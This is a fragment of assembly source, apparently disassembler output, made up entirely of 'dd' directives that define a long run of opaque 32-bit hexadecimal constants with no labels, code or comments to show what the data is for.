		dd 37AF6B75h, 0A6D31F42h, 0A2EB14F7h, 0EC8A58F7h, 8C8A79DAh
		dd 1D62AB99h, 61C9AD22h, 0C6C8ABCFh, 78856493h,	2B157E63h
		dd 6E9450D4h, 5A488727h, 0B01AE3Ah, 0AA3D73B0h,	0BFA7AA5Bh
		dd 3C0E6EA7h, 7DD7EAD6h, 0ACC56051h, 6048CC2Ah,	0A1B32FE3h
		dd 9BA482C2h, 57545AAEh, 245F7D28h, 6B0420D0h, 9E212481h
		dd 378CC1B4h, 194EFCA3h, 4F50655Dh, 491C004Bh, 0EDB218Bh
		dd 40B59C78h, 0B82CA705h, 0AB9737EAh, 33C93A86h, 28E3E663h
		dd 0FB5D27D8h, 0A641707Fh, 8477BC63h, 6597DFABh, 0D2D9197Bh
		dd 8BA41E2Dh, 85869391h, 61BB1A27h, 0B731ACEEh,	0E2BAC9Ah
		dd 0D7C284F8h, 1DC7A9C0h, 0F69C26Ah, 284C0336h,	0F3239835h
		dd 5A837410h, 9FE90A70h, 610F6A9Fh, 9E6C59F2h, 6FDB02CAh
		dd 9905709Ch, 0F0047AE2h, 0C26E104Bh, 15299B34h, 138A3F8Dh
		dd 6B09475h, 948F374h, 57682D7Ch, 8E847538h, 693CBC2Dh
		dd 0BE8E6479h, 6C7F964h, 43EB015Bh, 630799D3h, 7D9168CAh
		dd 9C8D9504h, 6FC06666h, 0E7FDFDDCh, 54C9C102h,	46175B7h
		dd 84D0E452h, 3A8AF7BFh, 0DAC9CD67h, 1D0E436Ah,	0CC1A3C03h
		dd 0A2C4874Fh, 0FB6BAE72h, 6A67CF01h, 0B65AFB6Ch, 0F190841Dh
		dd 0C2811F14h, 7564CE7Dh, 0A0B69694h, 232070D5h, 0FE20844Fh
		dd 0B9192E3Bh, 29A0581Bh, 5014E7B9h, 0B34D5524h, 5D033EC3h
		dd 0A82910FBh, 8B543574h, 5D26649Ch, 0DDAAC0A1h, 4781B484h
		dd 93C17116h, 0A3631036h, 0F38EEE28h, 671CD991h, 0D529F1F7h
		dd 764DA6F2h, 6C518E8Fh, 0BBA6EBB1h, 4354F616h,	0F35BDC4Ch
		dd 3CA3A76Ah, 5C37577h,	0F453A882h, 17D5225Ch, 8D5691Dh
		dd 7E67B633h, 18095DDAh, 735C8885h, 0DD60160Ch,	7303BA0Fh
		dd 696A0057h, 8F3D8487h, 4143CD83h, 21F3D913h, 9619A17Dh
		dd 0D32E8F42h, 0F875E88Eh, 7265ED62h, 0B3AF5526h, 0E1A844CEh
		dd 31747129h, 0FC3B5289h, 30AF4DE2h, 20A41D89h,	0A696F833h
		dd 666E3E60h, 0B515533Eh, 50D221C2h, 0DE07796Ch, 0E3E95E4h
		dd 402B468Eh, 2D07EE19h, 6A936CD9h, 52021791h, 8BA0F520h
		dd 44783897h, 72A3A1F4h, 0E3880F0Eh, 75BAC91Dh,	0E59A80D6h
		dd 9915A251h, 429548Fh,	0CD8E1FE4h, 0C18EE131h,	0EEF1A812h
		dd 3D82A65Dh, 40450245h, 4663CE1h, 0EC9ACC8Fh, 0EC27E16Bh
		dd 33D7017h, 0F797B3B5h, 21DFFB00h, 8C61A1B5h, 7B4AFFB4h
		dd 0D123369Dh, 80BFE465h, 36FD9A3Ah, 0B635A4C8h, 0F099A3h
		dd 656B2BDCh, 92A0A522h, 0BC6283BAh, 3E4ADBDAh,	8C778628h
		dd 96F4FCDh, 4B8E013Fh,	0BE23B9D7h, 0F4B67661h,	0CF79532Bh
		dd 72E5ED77h, 7E13209Ah, 5B45C69Eh, 2FB24C26h, 0CFB1E801h
		dd 0CDBE8D2Bh, 2F8B88FFh, 5BBEE809h, 0ABEDDD61h, 5E26E61Eh
		dd 0F144E89Ah, 0EF213A1Dh, 1A9C0EB0h, 0E0BE56E1h, 1FC41CCAh
		dd 8D268949h, 639631ECh, 73ADF70Fh, 28DA5CBFh, 16167A28h
		dd 0A62A2C27h, 394DD518h, 9394D1BDh, 1008BCF8h,	0E657DB32h
		dd 34E4ED76h, 87A13D26h, 29BFC04Fh, 0C8B50B61h,	4E54A86h
		dd 14AC226Dh, 112BC11Bh, 8C1728A7h, 98CC4F3Ch, 2AEEEEEBh
		dd 0E12D21B2h, 4F63B79Ah, 28445DE2h, 5452B777h,	55830D38h
		dd 0ACA35A1h, 42002C58h, 8D7C6C15h, 90DF97A4h, 0DCE062D3h
		dd 250845A5h, 0B7D9F265h, 0A779AF01h, 149D6EFEh, 83A0DF0Bh
		dd 2C6E0DE2h, 0A063D160h, 4C59AC70h, 3DFE56Bh, 0C0C14A66h
		dd 0C2A7C2B8h, 0D911EB58h, 0C1AF248Dh, 0BE9163Ch, 42410F0Ch
		dd 1D39E2D9h, 2E9C2034h, 129CC939h, 941AE9Bh, 0C4417DA3h
		dd 31A86263h, 34D97448h, 0E4514466h, 0D79F8590h, 0BFCCD6Ah
		dd 30F57867h, 679125B8h, 6CD8F2D9h, 252B5AFCh, 68B38F11h
		dd 6555F07h, 9C1042EBh,	13F2A4B5h, 7733ED24h, 9EFE83EDh
		dd 0DA34D780h, 5661AFE5h, 0EE76B704h, 247CDB21h, 0DFD024E1h
		dd 0F845F94Fh, 2A462C62h, 48D28DB8h, 0ED451A00h, 6ACA7395h
		dd 228EAC3Bh, 1F94CD31h, 0C1BAA89Dh, 3D074C98h,	86CF2E25h
		dd 46B4F37Ah, 1F9B772h,	4657D3A6h, 0C14157B4h, 3D90633Fh
		dd 0EEB99A85h, 0DF4D289Fh, 0B4D9B59Ah, 7F683B2Dh, 6D66B057h
		dd 68EB2DE4h, 0EA28428Ah, 77C3BACDh, 3E013EEEh,	0C81A6E0Ch
		dd 0AD16D523h, 3862579Ah, 5CFF0D7Ch, 8CA6C953h,	4BF34D7Fh
		dd 902997BCh, 28F9C65h,	0CEB45CA5h, 6624B7C4h, 99F14913h
		dd 769D9B4h, 0AB8522AAh, 0D0E43270h, 4A7A8E25h,	0E95BAB5Ch
		dd 193A9633h, 0C7F0D04Ah, 0E3CC6F9Bh, 64769F58h, 0A97CD5ABh
		dd 76BEB5E5h, 0DC2C56F1h, 0DC930649h, 7B5CAA20h, 573C93FCh
		dd 5F616486h, 84CA211Ah, 0D7E75D65h, 73C94F57h,	8A320D0h
		dd 5A2D792Bh, 0ABE0113Fh, 0FFF47E3Fh, 81E2DFBAh, 736EECD7h
		dd 0A2DED2F4h, 3FE337B1h, 3C686BEBh, 0D6DA2F6Fh, 8A87D54h
		dd 143D2DE8h, 1B5B5C73h, 4ED5D13h, 25FC97F7h, 0B2EA6833h
		dd 724410A4h, 0D30EC40Dh, 9305DA97h, 0D49FF53Ch, 494FF6ECh
		dd 76066FBDh, 1D0F811Bh, 0F0938426h, 0AFD2924Eh, 320AFD26h
		dd 0EDF16210h, 55D29019h, 2D9EF814h, 7F224310h,	7FA0EDBh
		dd 0D0991654h, 0A640669Eh, 894F4462h, 0ADD1939Ah, 4DD5ACB7h
		dd 0EF8BAEDBh, 75B524A9h, 88A16A07h, 0CA4925C4h, 65657397h
		dd 0C68B9A50h, 8269C401h, 0B691AC97h, 2D4E9E7Dh, 0B7AC6D50h
		dd 0D56FF8E2h, 84D0542Ch, 74DDD6Ah, 0F659B890h,	47C47DE3h
		dd 0C6B24759h, 8716CB9Fh, 71DBEAD9h, 0ECD55580h, 4F589094h
		dd 16C78FA5h, 95455B72h, 0D3E5B29Ch, 8C8E33B5h,	42A38551h
		dd 0EEDDF519h, 5E5A92DDh, 0F579EE69h, 90396E4Fh, 8EB43578h
		dd 4340DEC5h, 0ECD21C8Eh, 1B57DD43h, 0C727EB29h, 4A3378DBh
		dd 4C61CC24h, 0D60EDBEFh, 98DCEC57h, 4EB7DF8h, 0F27905A5h
		dd 0E39E3512h, 7ED4A79Ah, 59902808h, 15CB5E91h,	0D0F2A3EAh
		dd 14808AF7h, 5B17A838h, 19D08C88h, 1A01C77h, 0F3AAE3A9h
		dd 0D603CB1Eh, 8AB5480h, 24CA6351h, 0D87C6160h,	536EFA8Dh
		dd 967E5077h, 14DF118Bh, 0CF48F0EEh, 4E9F388Ch,	0EAF5A088h
		dd 7E502C62h, 15B4CCCBh
		dd 0B2D1D6E4h, 8FAB4F59h, 0E27AC486h, 580A95BEh, 5F73F907h
		dd 0B6A139B4h, 5A3B4F44h, 75FEE310h, 8F03E8E0h,	3F1BE161h
		dd 25327CCAh, 9F5C9CA6h, 5141B206h, 0B36B2B2Fh,	5A9BCDF4h
		dd 50F5D4F8h, 426A70CFh, 0E937561Bh, 51C1ABD2h,	75B8E09Bh
		dd 0E6806BA9h, 8B84ABA6h, 0A7E992A0h, 441B9E86h, 0CB0D2FC0h
		dd 31960CF0h, 0C6608A10h, 0AA8717B5h, 8B3FA598h, 0A7B6199Bh
		dd 96C1604Bh, 16598234h, 0ED12B04Fh, 3335D7BBh,	7496A1C6h
		dd 0D641CD44h, 17AD4203h, 3FAD94F8h, 5B96338Bh,	1EA42AEh
		dd 0D559D972h, 0FD3FF347h, 0BCE20D57h, 0C2D27A9Fh, 0B8D69D5Bh
		dd 5051B94h, 0A8B45256h, 0B359083h, 0D03A405Fh,	768F3Ch
		dd 1AD2CAA0h, 0AD12EEF7h, 87BC064Ch, 0CA630D71h, 81DAD6B7h
		dd 0CC94E781h, 0C1F40C76h, 877697Ah, 0DC8AB08h,	3BEC3AF8h
		dd 92164Eh, 0AEEC1827h,	0C14C3AC5h, 8AF5B79Eh, 0D86D895Eh
		dd 0E3AF8EE8h, 3D39668Ah, 60C88B53h, 115D0929h,	818F6800h
		dd 5DCACD6Fh, 91BDC159h, 53170188h, 69C44A17h, 61A4D422h
		dd 5DE3A39Fh, 3378DF25h, 81A6E224h, 65BE3233h, 9CFB3D8Fh
		dd 0BF65DAE9h, 0CF384142h, 0EC502614h, 0ADB11B79h, 444BD2DDh
		dd 31B91739h, 6348237Ch, 58757214h, 27BDE4E8h, 0C6FA38F5h
		dd 5C9B35A3h, 0D1E2F342h, 694E5CBEh, 63B192F1h,	84FF07C4h
		dd 2FB910D4h, 0FC20E386h, 0BB110B20h, 0BDF4048Bh, 2FC6F554h
		dd 0ACB30844h, 0B184748Eh, 9AC3BC70h, 0D729C03Fh, 0ED836A66h
		dd 0CAE443FFh, 60BC5D5Bh, 0A0C92B4h, 0A810A1D0h, 24F66BFDh
		dd 7E1CC3F8h, 2995D520h, 0F6D05E8Eh, 5D659BA0h,	0AF188AF4h
		dd 0BE19D1FDh, 0D4F357AEh, 320FF8F0h, 19E85B13h, 0E698B655h
		dd 55D52943h, 671B8B6Bh, 5AE57E45h, 0A74D772h, 0EC1123B4h
		dd 2B70275Ch, 4BB18CC1h, 38D6997Ch, 5147ECB2h, 296AD836h
		dd 64A51706h, 95D36E25h, 0CA7567Ch, 31617D2Ah, 4CBF51F9h
		dd 9A6A0FC7h, 5C92D05Fh, 43A0B935h, 0A0C3EC15h,	6314450h
		dd 0CB15516Bh, 0F920BB49h, 8DD57669h, 0F9FE276Eh, 0A5AA4F67h
		dd 9B2B4BCh, 6ACB014Fh,	9649ADECh, 0C5D31F04h, 0C0633DB4h
		dd 0E5F41A66h, 6B36416Ch, 8919104Bh, 0FE8D6D12h, 0CF1FFBD5h
		dd 6BC6C3F2h, 0FDA5FCFh, 7D59CBB0h, 0BC3B6809h,	466DB803h
		dd 0BCC41435h, 7B0AD5Fh, 0A3C3754Bh, 617B8A5h, 5B8F0013h
		dd 48620ABCh, 7F87667Bh, 353CCCEEh, 5232D57Bh, 0FE5AA05Bh
		dd 0EF10F44Ah, 0EEA549FDh, 0B71B75ACh, 90B2B7CEh, 0F9CB718Ah
		dd 0A9634C81h, 0BE037C61h, 746DB085h, 15DF4AA6h, 0D3C1A64h
		dd 61468A8Eh, 4F40CA28h, 0F813FDF2h, 0A10E46FAh, 616BE10Bh
		dd 0ED0056E8h, 169B6E0Bh, 39732638h, 40E9D9Eh, 18292499h
		dd 6DDB1CDBh, 67022137h, 0CA22DAFCh, 8FB0E8B7h,	9A16D0B5h
		dd 0EE99C66h, 0A9D11E29h, 1E27553Fh, 2D057BFFh,	33F6A0CDh
		dd 1002C34Bh, 0B3BE6043h, 46213ECFh, 278EE100h,	6E43CA8Ch
		dd 0F8916546h, 0BCA7B59Bh, 0A76DCE15h, 3EDAED4Ah, 0B7EDFFF6h
		dd 0F46F8430h, 0E27FADC2h, 4C62E94Ah, 2777DD64h, 0C01DCBC5h
		dd 5211FDA7h, 943F1834h, 5AA169C1h, 285F999Fh, 4BFAF14Dh
		dd 76040E8Ch, 898A72E2h, 0D105D86Ch, 0B9940AE6h, 84CAA52Eh
		dd 283BA233h, 0D83D954Ah, 0B9D60AEh, 6A03A35h, 8B2869C6h
		dd 0D269C22Ch, 9154D8D1h, 284FA46Ah, 9FAE508Dh,	835A7BF5h
		dd 8446D6DAh, 52AB4647h, 0FD0B6D3Dh, 0D06D5791h, 0C738D191h
		dd 278D22Fh, 1FA2F030h,	8AF34376h, 0B40A552Ch, 27EFB62Fh
		dd 0D03290C7h, 870BC1B8h, 0A673D632h, 55F86744h, 0C80F3902h
		dd 0A8F8F188h, 727BE181h, 15FE2624h, 188BCA5Fh,	7055AA67h
		dd 0FEBCB127h, 0B33480D5h, 0FE06541h, 8EEB1B6Fh, 0AC0F33CDh
		dd 2E9B5CFBh, 0BB2DA585h, 0DFB72E60h, 97FB9A31h, 0A5C6AE61h
		dd 3E19BC10h, 0B32FC2D1h, 0E616F231h, 0A90F4C2Fh, 0C553B9Dh
		dd 7B68DB3Eh, 0CC59FF8h, 0E5AE9DD2h, 0E9CCA0D5h, 275048CBh
		dd 6A45AFB8h, 0B3C8A06Eh, 39BDA9DCh, 11B586B5h,	46549E7Ah
		dd 0E2A787CCh, 1CDDFAC7h, 3B99E455h, 1906C53Ah,	0F83BB7F4h
		dd 10E64FC9h, 9109CDDh,	0E8300DAFh, 9117A440h, 0F1452264h
		dd 0A613FC2Eh, 9FAD49F8h, 5C17C1D6h, 0B986F7B7h, 4C179A99h
		dd 0D5A04C9Fh, 0A74137E4h, 797FC70h, 9B8F4E67h,	0E0C3B2C6h
		dd 1D03A65Eh, 4E4CFD89h, 0C4E071EDh, 0A5C1BA86h, 0A473CA3Bh
		dd 77F71812h, 0D7F3EC7Ah, 0BF381197h, 9BD08FE0h, 924FDA7Eh
		dd 0E94467FCh, 9F8018F5h, 0D9B5E952h, 0BD93E9E0h, 0A876AA06h
		dd 649116FFh, 7E7BCC7Dh, 0F611BC49h, 0B8227544h, 0D152E381h
		dd 1EB10E0Bh, 1266D22Ch, 82CF6229h, 0A785286Eh,	843E172Ah
		dd 622AD833h, 2FB8C1BFh, 35A218AAh, 0B8DB9927h,	2F05889Dh
		dd 99D176CEh, 0C7F24C1Dh, 4BE7BF09h, 0CCB06AB8h, 0F76C4DD3h
		dd 0C0A94B25h, 5639FE98h, 68234819h, 94564369h,	233E5C34h
		dd 3DF38D4Fh, 2B925B03h, 4179DE3Dh, 0D69E6B75h,	1AA79D40h
		dd 68C8448Fh, 64231578h, 5A10F14Bh, 0C44A1F01h,	0F170E22Dh
		dd 0BB607F15h, 94E0B1B4h, 49A08080h, 0A4E27A3Ah, 0F7815966h
		dd 0AB9E5531h, 0F76611EFh, 71F3DB93h, 0F7C47C40h, 2734A8Ch
		dd 1D8CEAADh, 16F786F8h, 6D26D44Eh, 883801C2h, 4ECC5AF9h
		dd 0D2321654h, 0A3DFC400h, 6B70F673h, 865B36F7h, 4C4B97FCh
		dd 4717A809h, 2FEAF9BAh, 0F7D1812Fh, 83017B2Bh,	96499252h
		dd 9265C4C8h, 926DDE16h, 0C1CD16F5h, 0F3F97602h, 0C95998B9h
		dd 6CC2CEF8h, 0E79CB6FCh, 0D864C62h, 0DAF327FEh, 4F0FF704h
		dd 2A0AE3C4h, 0A6F6B73Dh, 0E1A45C56h, 27F3D967h, 0B411342h
		dd 9BB4E928h, 73CDA3A4h, 595BDCA8h, 0C4D838Ch, 0C163DBCFh
		dd 676547FAh, 0D9F9ED26h, 0D3BFB8B1h, 0AD6AA0F7h, 0D096937Bh
		dd 8D09C197h, 93092CD0h, 81C97E34h, 0B5E2BB9Bh,	0B7A4C2B7h
		dd 4DBC6DEh, 0F8A6AF61h, 0BB5C9F82h, 0EE428D19h, 47E1CFAh
		dd 0A4A41325h, 0D4F37382h, 438A2E2Ah, 0F40C54EBh, 33040868h
		dd 0D077D71Ah, 0D63E5DA3h, 3BB45759h, 256BD11Ch, 0AAFE0EDEh
		dd 25B87BAAh, 0A8D8E789h, 4174EB3h, 7890B4Eh, 0A2F95DDCh
		dd 4FD30839h, 0E6CFBE4Fh, 0A72DAACCh, 0F349A14Fh, 5F55FBEAh
		dd 3F0D2479h, 9700CE9Fh, 0E0F62B0Ch, 0D26EEB68h, 0C3E60DABh
		dd 77C9200h, 12954222h,	0DD40425Ah, 0C9B18BDAh,	4739FCB7h
		dd 48BC0B85h, 3E0CF7E9h, 17659A0Ah, 2E4E7442h, 0D52BB9CCh
		dd 0CA3C4423h, 0BDFB9EAFh, 0EA14CDFCh, 9F173FE8h, 62A51895h
		dd 149213ABh, 11E6F6D8h, 9D8FF3C2h, 7DF888D3h, 0BD8A3F33h
		dd 0C4669775h, 52B20DFFh, 8B6C1109h, 0DB48196Ch, 9DC875ADh
		dd 0B051594Dh, 0FF7FBBCCh, 2D8488F4h, 20BB1AE4h, 0DF31C6Fh
		dd 0A166783Dh, 6CA4DA1Dh, 0C5A805D7h, 2FCE7F60h, 17E76174h
		dd 1FC4644Dh, 97F54B15h, 0A825F0CAh, 6802483Dh,	171B6098h
		dd 89EFDB94h, 1AC50AD9h, 0AE22E1Ah, 6F15806Fh, 0FC664B14h
		dd 5AC9F590h, 46749FB5h, 0C92FB018h, 6F2281F4h,	0E957C5E6h
		dd 850C6DCAh, 22B7165Fh, 0B7CE5F5Ch, 0B9FB5BA1h, 0ECC6DE04h
		dd 644D5E58h, 3734F315h, 0D75A22FDh, 0CC39531Eh, 13931B86h
		dd 0C3AB8CF8h, 7D827CDh, 0F4E1A7F0h, 0AE3B7D03h, 0DBCD5AFBh
		dd 0CD38A0FBh, 887F8ADDh, 5F3E06C0h, 4A59CBD3h,	34FE1671h
		dd 13654855h, 7A4F8CFAh, 8675C114h, 487707DDh, 2F64FA57h
		dd 0C8712788h, 74C205A9h
		dd 0FED0687Eh, 315793DAh, 0F249650Ch, 196A9150h, 0F799CBF2h
		dd 863BF2C5h, 9D600543h, 76D4C394h, 93118757h, 1089B6D3h
		dd 22AA8EEDh, 0A64C2A72h, 0BFEBBDDh, 0F09CED2Ah, 6CA00547h
		dd 0A259629Eh, 0C61E0F96h, 57DA12C4h, 861B6B7Ah, 11EA23F8h
		dd 5CC0C524h, 27C5E56h,	0E3138644h, 0AC0D2FD7h,	0F4549C21h
		dd 0D04170ECh, 893EF8C5h, 4497130Eh, 5D730C54h,	0ED0AD716h
		dd 0E774B14Dh, 19CFE4E2h, 0E09FF403h, 0EE998A76h, 5E359908h
		dd 0B37AEEEDh, 9A52F338h, 3E11A53h, 28179AE6h, 62083E16h
		dd 5AFC3707h, 3146FDD2h, 7125717Eh, 0F9625E0Ch,	0CC32AB02h
		dd 98AC8096h, 2E64E7F3h, 0A0D545Fh, 1BC1F715h, 722F6BA2h
		dd 0BBF92237h, 0D7D2383h, 0DDC42FEBh, 16DD9639h, 0E7708EBAh
		dd 0AE836CC8h, 2F071C10h, 1885512Fh, 0BD4A2779h, 0C4B0607Ch
		dd 100E76F4h, 71B7F9C5h, 94199B18h, 410CD81Ch, 0A224D7Eh
		dd 9E01C847h, 52B25D04h, 7F45FABAh, 9119E9A1h, 1A4568C2h
		dd 76075FFEh, 0B1915D09h, 0ADF91CA3h, 433D97A1h, 0BAD4D96Eh
		dd 0D679E3AAh, 0BCB4483Fh, 0F8496A9Bh, 39B69D78h, 0C8C1AF36h
		dd 0EC46112h, 62407F3h,	0F6BE72AAh, 0C4710EBDh,	8202EF78h
		dd 73E6D1F4h, 0BAAA14E6h, 0AFD0A411h, 1F455466h, 0CB04E70Ah
		dd 991336FDh, 1A8D12Ah,	0B6606FC4h, 0A6EA9FC2h,	9771E5DEh
		dd 63AB8655h, 44A07101h, 537B57ABh, 0AE5139C7h,	7B551554h
		dd 6AA3FADAh, 0F91503C7h, 23CEBD05h, 0EB3A2DF8h, 7DF1F2B1h
		dd 0E5046AA1h, 7DA95B85h, 49695678h, 4A177435h,	638BFF99h
		dd 0BF7CCF29h, 566FD67h, 55FF901Eh, 0DBEB33EFh,	2CE6E5ECh
		dd 0D680AFB4h, 0FE71FD89h, 704D53C7h, 0E1531673h, 0CBFC95Bh
		dd 0F6716850h, 0C64E5942h, 0D6ED6121h, 0B1CC2E05h, 0D75A0EB5h
		dd 0E43700C5h, 1A924AF9h, 0E5E7FBFAh, 733C8369h, 0D7215DAFh
		dd 0F45B359Bh, 0D67BAB6Ch, 8B9557E2h, 19F2596Fh, 1A5D8901h
		dd 5FCA4291h, 6B1B4E79h, 0E6D8E526h, 0E2894C28h, 0FD75D68Fh
		dd 46003DFFh, 0DC6A8251h, 9153DA9Ch, 387F70Bh, 249E5E31h
		dd 0F9752DA5h, 0E2DEF094h, 87038549h, 97FDE912h, 8D917C90h
		dd 2D3AD524h, 33491024h, 0B51BD91Ah, 2300C8A0h,	0CA3FE29Ah
		dd 0EB610410h, 813942F1h, 44C2C0Eh, 804FE7EDh, 0F35BA4C6h
		dd 57F8A158h, 97F9F33Fh, 0A79943C4h, 8208C8F7h,	92854813h
		dd 74DD325Dh, 6AD9927h,	6126DAC0h, 0E956E727h, 0FBE0B03Eh
		dd 0B7EEA9DDh, 6293D629h, 0E8BDC8B0h, 92BAFF2Bh, 0CFADD025h
		dd 0E54920D1h, 0DE9421B1h, 30DA4E31h, 0E24460A2h, 0E69CCFCDh
		dd 0CED57A0Ah, 59A34B46h, 7B80D4DEh, 9F92F27Eh,	94350D47h
		dd 90586B91h, 0B8B3C903h, 2E12DE02h, 46FB4DFDh,	1C3AB1A0h
		dd 3E34EBEFh, 0F202FFC0h, 9F6322FEh, 5DF7409h, 31CD87B3h
		dd 865F49FCh, 0D262F2Ah, 779781A3h, 54C19135h, 0CB10314Ch
		dd 1F4206A7h, 108604B4h, 859247B7h, 0B88DBA42h,	91D1EBE5h
		dd 0DBC98DF1h, 327DFCA7h, 365BE4C9h, 7BA7ECA3h,	0BA24B6BBh
		dd 608DEBE2h, 0E8A2F29Dh, 13708CD2h, 7E102916h,	8673DFE6h
		dd 0CFE4270Fh, 0E33D8A7Ch, 0BC1719EFh, 36BAAA20h, 0ACFA493Dh
		dd 0B22BB4DFh, 0F14DF155h, 0E0247C63h, 48A95398h, 280BB980h
		dd 350F78AEh, 5CA49049h, 0C4BBFA9Ah, 0C7D8A3E2h, 0EB4E13BBh
		dd 4665DA05h, 3EFEEF3Dh, 0A5799FEBh, 7520C34Bh,	3307A214h
		dd 0C27A0B23h, 0EDC64F32h, 0A726D455h, 0DAD1C471h, 0F93F7DDh
		dd 7463C766h, 0DFF0F5E9h, 0CF5C9CBEh, 0C308EC39h, 0A5645F02h
		dd 849D9B2Bh, 0FFD3CEF9h, 56D43256h, 1C6BD21Dh,	21401618h
		dd 6D9544Fh, 0A184B91Dh, 0A10480C5h, 41592D90h,	86F2A4BDh
		dd 38994E33h, 996AE976h, 0E71C338Dh, 0D70D2E60h, 291F9913h
		dd 0A6FE076h, 0DBB0BDF1h, 3EE43353h, 0EEA32EB1h, 0A23D297h
		dd 7FD3FAABh, 0B4A44B28h, 5F0045F9h, 0D9C62E40h, 0A7C61D7Ah
		dd 0DA635426h, 0F1159F11h, 0D677314Ch, 0FD4F97EFh, 1A7ED9B9h
		dd 0E7356027h, 0F523F144h, 0EDBC90ACh, 1030FB57h, 0B6088ECh
		dd 0C4E1D1BBh, 5558A685h, 0C276F636h, 0BC5CEF53h, 2D69F149h
		dd 6A4A9804h, 386E58F9h, 0D3F0A122h, 51BDD0A5h,	3EA133Dh
		dd 31ADEE85h, 0AF0C4265h, 0F0BFE360h, 0BE9298A9h, 0EB3FD398h
		dd 0E60E2DC6h, 0B46D467Fh, 107D8235h, 0C7C23F63h, 30C0FCADh
		dd 7FAFE501h, 2402DEFh,	0A973EF9Dh, 7DFCE403h, 48C83347h
		dd 0C23252DAh, 6C1AF3A4h, 9DB9B960h, 16542C5Ah,	4E3CF6E3h
		dd 0DEC25A78h, 10E52778h, 0D788F12Bh, 0D814550Ch, 0C3F71E76h
		dd 0CC6BDB6Ah, 0B27774ABh, 38C1CEFBh, 0E14D4390h, 979F5FB2h
		dd 5E191213h, 28D4DE79h, 8A1E06C9h, 52CE49BBh, 8490336Fh
		dd 0C1F582A1h, 0A1840785h, 498AF95Ah, 4B6B11F0h, 2BADD422h
		dd 1F10CDD5h, 97466A7Dh, 551BBAB9h, 901304DBh, 0FD93F54Ah
		dd 91A42E6Dh, 895B028Bh, 0CFB7EEEEh, 35B8F349h,	1A11AB21h
		dd 0EB58682Ch, 8A00C481h, 0B82DB7A3h, 0E70497F6h, 0A511891Ch
		dd 0F399F315h, 15AC1ED8h, 553DD59Fh, 8DC05C9Ah,	0F0DC44CCh
		dd 0BEE5D3B2h, 9D75F581h, 0A7D8CB9Fh, 0FACFB96Ah, 0F5086C30h
		dd 3E065CBCh, 6C25F298h, 0E7ECC87Ah, 5210749Eh,	0DB47B213h
		dd 46051BE3h, 7764DA07h, 23939655h, 0DADFCC88h,	70C4CA5Fh
		dd 4AB20EEBh, 8F3D9320h, 239F45CBh, 7D09CCF5h, 0EAA02D20h
		dd 0FDA3D95Fh, 0A10A8C94h, 0AC955655h, 0E2BA5DF7h, 63ABC602h
		dd 65D63D52h, 7E6224BDh, 0D1317920h, 8E2F8F9Eh,	0C4725FAFh
		dd 0C9BB8BF7h, 1283C912h, 80CDE6E5h, 560B1951h,	8155959Ch
		dd 0B338009Ah, 5631018h, 440A773h, 0F8FC130Fh, 9B826583h
		dd 0A7F89CB6h, 73A5B7Fh, 8A6894h, 92CBE44Fh, 0ABBFD62Ah
		dd 0C631937Fh, 3CEA25C9h, 0D61CCBB2h, 85049563h, 0BF5377F8h
		dd 0BF18B589h, 91E81C5h, 116E8585h, 0C93E9482h,	59803D91h
		dd 24ECF286h, 376753BEh, 96B09BBDh, 0AF461346h,	585C6A65h
		dd 0C1D5D97Bh, 47094CC9h, 94C0955Dh, 8D2D599Bh,	0FFD47EF0h
		dd 0FCBDC2C1h, 0A27EA20h, 0CB01376Fh, 0F6F003F8h, 0B786E79Ah
		dd 5CD72CB1h, 3EB4C9EDh, 0D0A6A78Eh, 0CA9F3C42h, 0E58D04FEh
		dd 0E3E8443Ch, 6F94A4DCh, 4CCF37EBh, 3B502BFEh,	8B8DD4D8h
		dd 6B95A854h, 2A484D38h, 0C07F3023h, 707057C4h,	475C4773h
		dd 8A2C0B5Bh, 0FF2F4D7Eh, 362891D2h, 9EDDC93Dh,	766D5A5h
		dd 0AB9B2A74h, 93468047h, 0DDB8F9E5h, 0C102ED8Dh, 7F1AF92Bh
		dd 0DE0C4849h, 0E2000FB4h, 3CC6C91Eh, 0E60A60AEh, 85E9EC0Fh
		dd 2B52FA4Dh, 85063B8h,	0E4A526CCh, 0D6BA3F09h,	9D2B00D8h
		dd 309216B9h, 0B9D77360h, 0BE71702Fh, 677837B3h, 0AE577118h
		dd 97A033A9h, 993D4192h, 56A94F01h, 0F37FA1Fh, 2ED364CBh
		dd 0E906F6CBh, 0EDE3B64Fh, 0B801265Dh, 0AC8EAE96h, 0E78C9A50h
		dd 8F99E7C6h, 0F312EA6Fh, 0B19623ECh, 0EEB6DDFAh, 0DA4F0A4h
		dd 7A8D4AEDh, 245DC6B8h, 0A69B6137h, 0F6570BE0h, 8B8B1497h
		dd 4818E35Eh, 0C589684Dh, 0CC160F46h, 0F2DDCDF0h, 95EE23Eh
		dd 5DAA16A6h, 0D5677026h, 0D79D23ADh, 60C5B52Eh, 0B347C59Eh
		dd 0EA3D1BC2h, 7CAEFF66h, 9F602F40h, 89B7D36Eh,	0A3F8A857h
		dd 256FBE0Ch, 3DE39813h, 388483EAh, 86C6BE1h, 89B3F833h
		dd 1986F685h, 385B228Dh, 0BC028B39h, 8DE1F3F8h,	1A359EBh
		dd 27AFF954h, 0FEB2921Ah, 5FAEC93Ah, 0EC0E6118h, 0A620C40Ch
		dd 6DAACDD9h, 34E0E74Ah
		dd 5E4ADA28h, 41499AA9h, 45478Bh, 0F6AC6E10h, 4E3BE81Fh
		dd 67C0B749h, 7508F43Dh, 199E7946h, 50BBE620h, 37D41CC1h
		dd 0FA29FE6Ch, 0B8AD2967h, 80CA768Fh, 39A0B18Bh, 51E44C7Ch
		dd 357C71D6h, 0D4FCA772h, 694C1C7Fh, 0F78C2942h, 4E8773A4h
		dd 0C4389433h, 0B7092AB3h, 0EAC6B5E1h, 0C9E42D22h, 0F15C10D6h
		dd 5732CFDCh, 0E1C3002Fh, 4E52EEEh, 285404B4h, 10EDFF9Ch
		dd 0EE932BF9h, 0ECF24661h, 26D53B31h, 0E7F78A1Dh, 70496CFCh
		dd 0CFEA4651h, 0AFDDACEAh, 0B0AB69C1h, 0EAF72F26h, 0E05FE853h
		dd 3F3FC9E6h, 0F9D9B25Ch, 7DDF27Ah, 9420ADC5h, 36F0D4E9h
		dd 451B5113h, 0E4E3EDCCh, 3C60F402h, 91538786h,	3D27434Ch
		dd 842DF759h, 198ED8DDh, 0BC1D5891h, 0C30DA931h, 1D11EF77h
		dd 8E8AF8EEh, 40D2D254h, 0C6377B68h, 3E745ECBh,	1B8DDAA3h
		dd 284EEC24h, 0B0F4B77Bh, 4A1883C9h, 0B5D33317h, 48E23A98h
